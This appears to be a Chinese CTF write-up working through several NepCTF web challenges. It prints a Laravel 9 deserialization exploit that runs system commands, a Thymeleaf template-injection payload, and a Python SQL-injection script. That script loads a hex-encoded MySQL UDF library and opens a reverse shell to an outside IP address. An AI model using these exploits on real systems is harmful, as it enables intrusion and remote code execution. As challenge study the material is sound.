nepctf(复现)
鹏城杯旅游去了，靠学弟打
官方wp：https://www.wolai.com/nepnep/g2DTj6mRtBk2mikVuCyaE6
Just Kidding
laravel9反序列化，虽然有现成链子，看看自己能不能挖。https://xz.aliyun.com/t/11362
自己挖了半天，找了个不需要绕过__wakeup的，结果踩了个坑，要不然早收工了。
全局搜索__destruct：PendingBroadcast
public function __destruct()
{
$this->events->dispatch($this->event);
}找了一下__call方法，除了那个需要绕过__wakeup的，没找到其他能用的。然后全局搜索dispatch方法：Dispatcher
public function dispatch($command)
{
return $this->queueResolver && $this->commandShouldBeQueued($command)
? $this->dispatchToQueue($command)
: $this->dispatchNow($command);
}
||
\/
protected function commandShouldBeQueued($command)
{
return $command instanceof ShouldQueue;
}
||
\/
public function dispatchToQueue($command)
{
$connection = $command->connection ?? null;
$queue = call_user_func($this->queueResolver, $connection);
if (! $queue instanceof Queue) {
throw new RuntimeException('Queue resolver did not return a Queue implementation.');
}
if (method_exists($command, 'queue')) {
return $command->queue($queue, $command);
}
return $this->pushCommandToQueue($queue, $command);
}发现call_user_func里面的参数全部可控。然后我踩了个坑，由于command需要ShouldQueue实例，我找遍所有实现该接口的类都没找到connection属性，以为走不通。没想到就算没有也可以反序列化，还得是php。最终exp：
<?php
namespace Illuminate\Broadcasting{
use Illuminate\Bus\Dispatcher;
use Illuminate\Foundation\Console\QueuedCommand;
class PendingBroadcast{
protected $events;
protected $event;
public function __construct()
{
$this->events = new Dispatcher();
$this->event = new QueuedCommand();
$this->event->connection = "cat /flag";
}
}
}
namespace Illuminate\Bus{
class Dispatcher{
protected $queueResolver;
public function __construct()
{
$this->queueResolver = "system";
}
}
}
namespace Illuminate\Contracts\Queue {
interface ShouldQueue
{
}
}
namespace Illuminate\Foundation\Console{
use Illuminate\Contracts\Queue\ShouldQueue;
class QueuedCommand implements ShouldQueue{
public function __construct()
{
}
}
}
namespace {
use Illuminate\Broadcasting\PendingBroadcast;
$a = new PendingBroadcast();
echo urlencode(base64_encode(serialize($a)));
}
总结一下利用链：
PendingBroadcast->__destruct()=>Dispatcher->dispatch()Challenger
没啥可说的，thymeleaf模板注入，谷歌搜一下就行。payload：
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22cat+/flag%22).getInputStream()).next()%7d__::博学多闻的花花（学弟写的）
审源码，发现sql注入。index.php：
if ($result = $mysqli->query("select * from score where username='".$_SESSION['username']."'")) {
if ($result->num_rows >= 1) {?>
</br>您已完成测试</br>查询<td class="mui--appbar-height"><a href="score.php">成绩</a></td>或<td class="mui--appbar-height"><a href="rank.php">排名</a></td>
<?php
exit(1);
}
}
......
$query = "insert into score values (NULL, '".addslashes_deep($_SESSION['username'])."', $getscroe);
insert into userAnswer values (NULL, '".$_SESSION['username']."', '".$_POST['q1']."', '".$_POST['q2']."', '".$_POST['q3']."', '".$_POST['q4']."', '".$_POST['q5']."')";
// var_dump($query);
// exit(1);
if ($mysqli->multi_query($query)===TRUE) {
$mysqli->close();
echo "<script>alert(\"已完成测试！\");</script>";
echo "<script language='JavaScript'>location.replace('index.php')</script>";
} else {
exit("something err0r！");
}上面那里盲注，还是二次注入，利用起来比较麻烦，下面可以直接堆叠注入，可整。但是不懂为啥靶机q1-5参数会直接不给注，所以直接整username就行。score.php：
if ($result = $mysqli->query("select * from users where studentid='$studentid';")) {
$row = $result->fetch_array();
if ($row){
$username = $row['username'];
$sql = "select * from score where username='$username';";
if ($result2 = $mysqli->multi_query($sql)){
$row2 = $mysqli->store_result()->fetch_array();需要admin才可以利用。这里很舒服，有回显，同样也是用户名二次注入。所以可以先insert一个admin，然后在这里执行带回显的sql语句。最后，/flag读不了，估计需要rce，然后可以在配置文件看到
secure-file-priv=/usr/lib64/mysql/plugin可以在这里写文件。所以直接写udf进行rce。直接贴一手学弟的脚本：
import time
import random
import requests
base = 'http://nep.lemonprefect.cn:20712/'
s = requests.Session()
sid0 = str(random.randint(1,10**9))
un = sid0+"' union select 1,sys_eval(\"bash -c 'bash -i >&/dev/tcp/47.96.173.116/2333 0>&1'\"),3 -- "
data = {'username': un, 'studentid': sid0, 'submit': '提交'}
r = s.post(base+'register.php', data=data, allow_redirects=False)
r = s.post(base+'login.php', data=data, allow_redirects=False)
r = s.post(base+'index.php', data={'q1':0,'q2':0,'q3':0,'q4':0,'q5':0})
r = s.get(base+'logout.php', allow_redirects=False)
print('reg0', sid0)
sid2 = str(random.randint(1,10**9))
with open('udf.txt','r') as f:
sql = f.readline().strip()
un = "a','1','2','3','4','1'); {} -- ".format(sql)
data = {'username': un, 'studentid': sid2, 'submit': '提交'}
r = s.post(base+'register.php', data=data, allow_redirects=False)
r = s.post(base+'login.php', data=data, allow_redirects=False)
r = s.post(base+'index.php', data={'q1':1,'q2':1,'q3':1,'q4':1,'q5':1})
r = s.get(base+'logout.php', allow_redirects=False)
print('reg2', sid2)
#a','1','2','3','4','1');update users set studentid='maxzed1' where username='admin';#
time.sleep(1)
sid = str(random.randint(1,10**9))
un = "a','1','2','3','4','1'); update users set studentid={} where username='admin';CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';#".format(sid)
data = {'username': un, 'studentid': 'sid'+sid, 'submit': '提交'}
r = s.post(base+'register.php', data=data, allow_redirects=False)
r = s.post(base+'login.php', data=data, allow_redirects=False)
r = s.post(base+'index.php', data={'q1':1,'q2':1,'q3':1,'q4':1,'q5':1})
print(r.text)
r = s.get(base+'logout.php', allow_redirects=False)
print('reg1', sid)
time.sleep(1)
data = {'username': 'admin', 'studentid': sid, 'submit': '提交'}
r = s.post(base+'login.php', data=data, allow_redirects=False)
data = {'studentid': sid0}
r = s.post(base+'score.php', data=data)
print(r.text)
data = {'studentid': sid2}
r = s.post(base+'score.php', data=data)
print(r.text)udf.txt：
SELECT 0x7f454c4602010100000000000000000003003e0001000000d00c0000000000004000000000000000e8180000000000000000000040003800050040001a00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050e57464040000006412000000000000641200000000000064120000000000009c000000000000009c00000000000000040000000000000051e5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000250000002b0000001500000005000000280000001e000000000000000000000006000000000000000c00000000000000070000002a00000009000000210000000000000000000000270000000b0000002200000018000000240000000e00000000000000040000001d0000001600000000000000130000000000000000000000120000002300000010000000250000001a0000000f000000000000000000000000000000000000001b00000000000000030000000000000000000000000000000000000000000000000000002900000014000000000000001900000020000000000000000a00000011000000000000000000000000000000000000000d0000002600000017000000000000000800000000000000000000000000000000000000000000001f0000001c0000000000000000000000000000000000000000000000020000000000000011000000140000000200000007000000800803499119c4c93da4400398046883140000001600000017000000190000001b0000001d0000002000000022000000000000002300000000000000240000002500000027000000290000002a00000000000000ce2cc0ba673c7690ebd3ef0e78722788b98df10ed871581cc1e2f7dea868be12bbe3927c7e8b92cd1e7066a9c3f9bfba745bb073371974ec4345d5ecc5a62c1cc3138aff36ac68ae3b9fd4a0ac73d1c525681b320b5911feab5fbe120000000000000000000000000000000000000000000000000000000003000900a00b0000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000e0000000120000000000000000000000de01000000000000790100001200000000000000000000007700000000000000ba0000001200000000000000000000003504000000000000f5000000120000000000000000000000c2010000000000009e010000120000000000000000000000d900000000000000fb000000120000000000000000000000050000000000000016000000220000000000000000000000fe00000000000000cf000000120000000000000000000000ad00000000000000880100001200000000000000000000008000000000000000ab010000120000000000000000000000250100000000000010010000120000000000000000000000dc00000000000000c7000000120000000000000000000000c200000000000000b5000000120000000000000000000000cc02000000000000ed000000120000000000000000000000e802000000000000e70000001200000000000000000000009b00000000000000c200000012000000000000000000000028000000000000008001000012000b007a100000000000006e000000000000007500000012000b00a70d00000000000001000000000000001000000012000c00781100000000000000000000000000003f01000012000b001a100000000000002d000000000000001f01000012000900a00b0000000000000000000000000000c30100001000f1ff881720000000000000000000000000009600000012000b00ab0d00000000000001000000000000007001000012000b0066100000000000001400000000000000cf0100001000f1ff981720000000000000000000000000005600000012000b00a50d00000000000001000000000000000201000012000b002e0f0000000000002900000000000000a301000012000b00f71000000000000041000000000000003900000012000b00a40d00000000000001000000000000003201000012000b00ea0f0000000000003000000000000000bc0100001000f1ff881720000000000000000000000000006500000012000b00a60d00000000000001000000000000002501000012000b00800f0000000000006a000000000000008500000012000b00a80d00000000000003000000000000001701000012000b00570f00000000000029000000000000005501000012000b0047100000000000001f00000000000000a900000012000b00ac0d0000000000009a000000000000008f01000012000b00e8100000000000000f00000000000000d700000012000b00460e000000000000e800000000000000005f5f676d6f6e5f73746172745f5f005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974007379735f6765745f6465696e6974007379735f657865635f6465696e6974007379735f6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c00666f726b00737973636f6e66006d6d6170007374726e6370790077616974706964007379735f6576616c006d616c6c6f6300706f70656e007265616c6c6f630066676574730070636c6f7365007379735f6576616c5f696e697400737472637079007379735f657865635f696e6974007379735f7365745f696e6974007379735f6765745f696e6974006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f657865630073797374656d007379735f73657400736574656e76007379735f7365745f6465696e69740066726565007379735f67657400676574656e76006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e322e35000000000000000000020002000200020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000100b20100001000000000000000751a690900000200d401000000000000801720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INTO DUMPFILE '/usr/lib64/mysql/plugin/udf.so';然后反弹shell，发现需要提权，可以找到curl命令有suid，直接读：
curl file:///flagQRCode Maker
.NET反序列化，难崩。学了一下，感觉得花点时间（懒得找源码分析了）。虽然有文章，但是感觉没有深入到像java那样，如何调用内部函数的（可能没找到），所以看的不是很明白。根据wp分析，应该是反序列化的时候
public string ClassName{
set{
_className = value;
Call();
}
get => _className;
}这些属性都会调用call函数，所以可以直接利用。